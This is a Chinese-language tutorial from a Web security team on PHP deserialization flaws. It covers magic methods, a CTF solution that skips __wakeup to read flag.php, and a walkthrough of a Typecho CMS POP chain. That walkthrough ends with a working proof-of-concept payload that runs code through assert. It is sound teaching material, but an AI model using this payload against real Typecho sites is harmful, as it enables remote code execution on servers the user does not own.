本文由红日安全成员:ama666 编写,如有不当,还望斧正。
大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式([email protected])联系我们。
利用程序已有的一些函数在参数中注入一些代码,达到代码执行的效果。
攻击者可以利用反序列化漏洞,通过构造恶意请求报文远程执行命令,危害较大。
在了解反序列化漏洞之前,必须要先了解什么序列化、反序列化以及它们各有什么用。
以PHP
语言为例子,在写程序尤其是写网站的时候,经常会构造类
,并且有时候会将实例化的类作为变量进行传输。序列化就是在此为了减少传输内容的大小孕育而生的一种压缩方法。我们知道一个PHP类
都含有几个特定的元素: 类属性
、类常量
、类方法
。每一个类至少都含有以上三个元素,而这三个元素也可以组成最基本的类。那么按照特定的格式将这三个元素表达出来就可以将一个完整的类
表示出来并传递。序列化就是将一个类压缩成一个字符串的方法。
运行以下PHP代码
<?php class userInfo { private $passwd = 'weak'; protected $sex = 'male'; public $name = 'ama666'; public function modifyPasswd($passwd) { $this->passwd = $passwd; } public function getPasswd() { echo $this->$passwd; } } $ama666 = new userInfo(); $ama666->modifyPasswd('strong'); $data = serialize($ama666); echo $data; ?>
得到的输出结果为
O:8:"userInfo":3:{s:16:"userInfopasswd";s:6:"strong";s:6:"*sex";s:4:"male";s:4:"name";s:6:"ama666";}
我们来逐一解读
大括号外表示为“Object”对象名称长度为8是“userInfo”,这个对象有3个属性。
大括号内表示的则是这些属性的具体信息以及它们的值。
根据属性的权限不同,在序列化中的表示方法也有所不同。可以看出在代码中三个属性的权限分别是private
,protected
和public
。这里简单说一下:
- public权限就是正常的变量权限,一般声明的变量权限均为public
- protected权限是私有权限,即只能在类内使用,子类可以继承这个变量
- private权限也是私有权限,比protected权限更似有一些,只能在本类内使用,子类不能继承
可以看到代码中三个变量对应的三个权限在序列化字符串中都有不同的表达,红色是private
,前面加上了本类名称;
蓝色是protected
,前面加上了星号,绿色是public
,没有任何前缀。
总结来说一个类经过序列化之后存储在字符串的信息只有类名称和类内属性键值对,序列化字符串中没有将类方法一并序列化。这就引申出了本次讨论的主题,反序列化漏洞。
反序列化与序列化相对应的,就是将含有类信息的序列化过的字符串“解压缩”还原成类。
如上图所示,将字符串反序列化出来之后的类不包含任何类方法,那么这样一个类怎么起作用呢?
反序列化的类想要使用原先的类方法必须依托于域,脱离了域的反序列的类是无法调用序列化之前的类方法的。比如我在上一段代码结尾加上如下代码
<?php $new_ama666 = unserialize($data); $new_ama666->getPasswd(); ?>
看到成功执行了类方法。如果我同样将之前序列化字符串作为输入,在一个新的域下执行以上代码片段
<?php $data = "O:8:\"userInfo\":3:{s:16:\"userInfopasswd\";s:6:\"strong\";s:6:\"*sex\";s:4:\"male\";s:4:\"name\";s:6:\"ama666\";}"; $new_ama666 = unserialize($data); $new_ama666->getPasswd(); ?>
提示的是没有这个函数。总结来说反序列化漏洞可控的是要被反序列化的字符串,具体能够走多远还要依靠类方法。
到目前为止我们可以控制类属性,但还称不上漏洞,只能说是反序列化的特性,还要配合上特定函数才能发挥反序列化漏洞的威力。所以要先了解一些特殊的函数,这些函数都是我们在利用反序列化漏洞时候的好帮手,因为这些魔术方法均可以在一些特定的情况下自动触发。如果这些魔术方法中存在我们想要执行,或者说可以利用的函数,那我们就能够进一步进行攻击。
在php中如果需要进行反序列化,会先检查类中是否存在__wakeup()
函数,如果存在,则会先调用此类方法,预先准备对象需要的资源。举例来说
<?php class example { public $color = 'black'; public function __wakeup() { $this->color = 'white'; } public function printColor() { echo $this->color . PHP_EOL; } } $ama666 = new example; $data = serialize($ama666); $new_ama666 = unserialize($data); $new_ama666->printColor(); ?>
运行以上代码,结果如下,看到类属性color
已经被__wakeup()
函数自动调用并修改了。
这种函数被称为PHP魔法函数,会在一定条件下不需要调用而自动调用。
此魔法函数会在对象的所有引用都被删除或者类被销毁的时候自动调用。
<?php class example { public $color = 'black'; public function __destruct() { echo "__destruct()" . PHP_EOL; } } echo "initializing..." . PHP_EOL; $ama666 = new example; echo "serializing..." . PHP_EOL; $data = serialize($ama666); ?>
执行以上代码,看到在序列化类的时候,__destruct()
函数自动执行了。
此函数会在创建一个类的实例时自动调用。
<?php class example { public $color = 'black'; public function __construct() { echo "__construct()" . PHP_EOL; } } echo "initializing..." . PHP_EOL; $ama666 = new example; echo "serializing..." . PHP_EOL; $data = serialize($ama666); ?>
执行以上代码,看到类在序列化之前,实例化的时候__construct()
函数就被调用了。
此魔法函数会在类被当作字符串的时候调用。在PHP5.2以前,__toString
函数只有在echo、print时才生效;PHP5.2以后则可以在任何字符串环境生效(例如通过 printf,使用 %s 修饰符),但不能用于非字符串环境(如使用 %d 修饰符)。自 PHP 5.2.0 起,如果将一个未定义 __toString() 方法的对象转换为字符串,会产生 E_RECOVERABLE_ERROR
级别的错误。
<?php class example { public $color = 'black'; public function __toString() { return "__toString()" . PHP_EOL; } } echo "initializing..." . PHP_EOL; $ama666 = new example; echo "echo..." . PHP_EOL; echo $ama666; echo "serializing..." . PHP_EOL; $data = serialize($ama666); ?>
执行以上代码,当实例化对象被当作字符串使用的时候,__toString()
函数自动调用。
还有一些不太容易想到的情况也能触发此函数
- 反序列化对象与字符串连接时
- 反序列化对象参与格式化字符串时
- 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
- 反序列化对象参与格式化SQL语句,绑定参数时
- 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
- 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
- 反序列化的对象作为 class_exists() 的参数的时候
在读取不可访问的属性值的时候,此魔法函数会自动调用。
<?php class example { private $color = 'black'; public function __get($color) { return "__get()" . PHP_EOL; } } $ama666 = new example; echo $ama666->color; ?>
执行以上代码,因为试图访问私有变量color
导致__get()
函数自动调用。
__call
是调用未定义的方法时调用的。
<?php class example { private $color = 'black'; public function __call($function,$parameters) { echo $function."(".$parameters.")".PHP_EOL; return "__call()" . PHP_EOL; } } $ama666 = new example; echo $ama666->notExistFunction("patameters"); ?>
执行以上代码,__call()
函数被调用。也就是说,你想要调用方法未定义,那么这个方法名就会作为__call
的第一个参数传入,而此不存在方法的参数会被装进数组中作为__call
的第二个参数传入
当然PHP中还有很多魔术方法没有介绍,前面只说了我认为在反序列化漏洞中比较重要的几个,其他的大家有兴趣可以自己去了解。
<?php class SoFun{ protected $file='index.php'; function __destruct(){ if(!empty($this->file)) { if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false) show_source(dirname (__FILE__).'/'.$this ->file); else{ die('Wrong filename.'); } } function __wakeup() { $this-> file='index.php'; } public function __toString() { return '' ; } } if (!isset($_GET['file'])) { show_source('index.php'); } else { $file=base64_decode( $_GET['file']); echo unserialize($file ); } ?> #<!--key in flag.php-->
这道题利用的是PHP反序列化的一个特性,序列化字符串的结构在前面已经说过,当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。此题的解题思路就是如此,通过改写序列化字符串中表示属性个数的数字,使其比真实值大,就可以跳过__wakeup()
函数。
<?php class SoFun{ protected $file='flag.php'; } $poc = new SoFun; echo serialize($poc); ?>
将输出的结果表示属性个数的数字加一
O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}
注意提交的时候需要base64
选取的是typecho CMS进行实战演示。
Typecho基于PHP5开发,支持多种数据库,是一款内核强健﹑扩展方便﹑体验友好﹑运行流畅的轻量级开源博客程序。
访问install.php
按照网站提示安装即可
在根目录下的install.php
文件第232行,调用了unserialize函数。传入参数是通过类方法获取的,跟进Typecho_Cookie::get
方法
在文件Cookie.php
中的第83行定义了类方法,功能为获取指定的Cookie值。第86行看出此值是从Cookie中获取,没有的话就从POST中获取,一步传入了unserialize函数,没有经过过滤,故而反序列化漏洞存在。
到此我们找到了输入点,但是具体能够执行什么类型的攻击以及攻击深度还要取决了类的作用域以及其中的函数。按照思路我们希望构造一个Typecho中已经存在的类,这个类要满足以下条件
那么接下来的任务就是要寻找符合以上要求的类。首先Typecho_Cookie
这个类是不符合要求的,在install.php
文件中接着向下看,第234行实例化了Typecho_Db
,跟进看一看这个类的定义。在文件Db.php
中发现此类具有__construct()
魔法函数,在此方法的第120行将传入的参数当作字符串进行拼接。传入的参数$adapterName
如果是我们可控的参数的话,根据前面所讲,此过程会自动触发__toString()
魔法函数。
回到上一层,也就是实例化Typecho_Db
那里,看到$adapterName
实际上就是Typecho_Cookie
的一个类属性。而我们已知此类属性是可控的,那么下一步的目标就变成了
__toString()
魔法函数,能够在程序正常逻辑中自动执行在Feed.php
文件中找到了符合上述条件的类Typecho_Feed
,其中__toString()
方法中在第290行将$item['author']->screenName
作为参数传递给了函数htmlspecialchars,前面讲过,当类试图访问一个不存在或者不可访问的对象是会触发__get()
魔法函数。换句话说如果$item['author']
是一个类且其中并不存在类属性screenName
的话就会触发这个类($item['author']
)的__get()
魔法函数。
现在我们的目标变成了
__get()
魔法函数,能够在程序正常逻辑中自动执行在文件Requests.php
文件中找到了符合要求的类Typecho_Requests
,在文件第270行找到了__get()
魔法函数
跟进函数get
,注意此函数并非魔法函数,而是类方法。在文件的第296行找到了此函数的定义,此函数最后一行调用了_applyFilter
函数,继续跟进,在文件第159行找到了此函数的定义,其中的第164行调用了call_user_func
,是一个危险函数可以使用命令执行漏洞来攻击。
到此为止我们从入口一路向下,终于找到了可以利用的敏感函数,总结回顾一下。
根据pop链可以构造POC如下
<?php class Typecho_Feed{ private $_type='ATOM 1.0'; private $_items; public function __construct(){ $this->_items = array( '0'=>array( 'author'=> new Typecho_Request()) ); } } class Typecho_Request{ private $_params = array('screenName'=>'phpinfo()'); private $_filter = array('assert'); } $poc = array( 'adapter'=>new Typecho_Feed(), 'prefix'=>'typecho'); echo base64_encode(serialize($poc)); ?>
可以维护一个黑名单或者白名单来限制用户的输入,过滤不合理,不符合程序逻辑的输入。
参考文章浅谈Java反序列化漏洞修复方案